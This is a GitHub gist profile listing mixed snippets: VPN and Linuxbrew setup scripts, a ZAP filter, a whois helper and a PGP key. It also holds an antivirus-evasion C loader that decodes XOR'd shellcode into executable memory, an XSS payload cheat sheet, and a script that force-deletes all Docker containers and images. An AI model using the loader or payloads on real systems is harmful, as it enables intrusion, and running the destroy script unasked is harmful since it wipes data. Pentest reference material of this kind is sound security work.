Skip to content

Instantly share code, notes, and snippets.

View kurobeats's full-sized avatar
😀
wiew

Anthony Cozamanis kurobeats

😀
wiew
View GitHub Profile
@kurobeats
kurobeats / pia-nm.sh
Last active November 22, 2019 12:51
Install OpenVPN profiles in NetworkManager for PIA
#!/bin/bash
#
# Install OpenVPN profiles in NetworkManager for PIA
#
error() {
echo $@ >&2
exit 255
}
@kurobeats
kurobeats / zt-gpg-key
Last active November 4, 2019 12:23
Zerotier PGP
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBFdQq7oBEADEVhyRiaL8dEjMPlI/idO8tA7adjhfvejxrJ3Axxi9YIuIKhWU
5hNjDjZAiV9iSCMfJN3TjC3EDA+7nFyU6nDKeAMkXPbaPk7ti+Tb1nA4TJsBfBlm
CC14aGWLItpp8sI00FUzorxLWRmU4kOkrRUJCq2kAMzbYWmHs0hHkWmvj8gGu6mJ
WU3sDIjvdsm3hlgtqr9grPEnj+gA7xetGs3oIfp6YDKymGAV49HZmVAvSeoqfL1p
pEKlNQ1aO9uNfHLdx6+4pS1miyo7D1s7ru2IcqhTDhg40cHTL/VldC3d8vXRFLIi
Uo2tFZ6J1jyQP5c1K4rTpw3UNVne3ob7uCME+T1+ePeuM5Y/cpcCvAhJhO0rrlr0
dP3lOKrVdZg4qhtFAspC85ivcuxWNWnfTOBrgnvxCA1fmBX+MLNUEDsuu55LBNQT
5+WyrSchSlsczq+9EdomILhixUflDCShHs+Efvh7li6Pg56fwjEfj9DJYFhRvEvQ
@kurobeats
kurobeats / Drop requests by response code.js
Created October 31, 2019 22:27
Drop requests by response code script for Zap
function proxyRequest(msg) {
return true
}
function proxyResponse(msg) {
var code = msg.getResponseHeader().getStatusCode()
// You can add more codes here
if (code == 404 || code == 403 || code == 500 || code == 502) {
// Drop the response
return false
@kurobeats
kurobeats / salt_windows_install.ps1
Last active July 6, 2020 16:54
powershell install salt-minion
$saltversion = "Salt-Minion-2018.3.2-Py3-AMD64-Setup.exe"
$source = "https://repo.saltstack.com/windows/$saltversion"
$destination = "c:\temp\$saltversion"
Set-Location C:\temp
wget $source -OutFile $destination
iex 'c:\temp\Salt-Minion-2018.3.2-Py3-AMD64-Setup.exe /S /master=salt-master /minion-name=$env:computername'
@kurobeats
kurobeats / sane_setup.sh
Last active July 20, 2018 01:49
a sane way to install homebrew for linux
#!/bin/bash
git clone https://github.com/Linuxbrew/brew.git ~/.local/share/linuxbrew
PATH="$HOME/.local/share/linuxbrew/bin:$PATH"
export MANPATH="$(brew --prefix)/share/man:$MANPATH"
export INFOPATH="$(brew --prefix)/share/info:$INFOPATH"
test -d ~/.local/share/linuxbrew && PATH="$HOME/.local/share/linuxbrew/bin:$HOME/.local/share/linuxbrew/sbin:$PATH"
test -d ~/.local/share/linuxbrew && PATH="~/.local/share/linuxbrew/bin:~/.local/share/linuxbrew/sbin:$PATH"
@kurobeats
kurobeats / url-info.sh
Created May 19, 2017 02:44
whois but pretty
###### show Url information
function url-info()
{
doms=$@
if [ $# -eq 0 ]; then
echo -e "No domain given\nTry $0 domain.com domain2.org anyotherdomain.net"
fi
for i in $doms; do
_ip=$(host $i|grep 'has address'|awk {'print $4'})
if [ "$_ip" == "" ]; then
@kurobeats
kurobeats / docker-destroy-all.sh
Created April 9, 2017 21:41 — forked from dguardia/docker-destroy-all.sh
Destroy all Docker Containers and Images
#!/bin/bash
# Stop all containers
docker stop $(docker ps -a -q)
# Delete all containers
docker rm $(docker ps -a -q)
# Delete all images BY FORCE
docker rmi -f $(docker images -q)
@kurobeats
kurobeats / av_evasion.c
Created April 1, 2017 08:33
av_evasion.c
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
@kurobeats
kurobeats / xss_vectors.txt
Last active April 25, 2024 19:18
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@kurobeats
kurobeats / stretch.sh
Created March 9, 2017 03:38 — forked from sickel/jessie.sh
debian 9 live build
#!/bin/bash
# WARNING: to use "--binary-images hdd", see this bug: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=773833
# WARNING: to get persistence encryption working, apply this fix: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=767195
# Italian locale & keyboard, default boot with luks encrypted persistence
# lb config --distribution jessie --debian-installer live --binary-images iso-hybrid --archive-areas "main contrib non-free" --bootappend-live "boot=live persistence persistence-encryption=luks locales=it_IT.UTF-8 keyboard-layouts=it username=utente hostname=D8"
# lb config --distribution jessie --debian-installer live --binary-images iso-hybrid --archive-areas "main contrib non-free" --bootappend-live "boot=live persistence persistence-encryption=luks keyboard-layouts=it username=user hostname=D8"
# Default locale & norwegian keyboard, pxe boot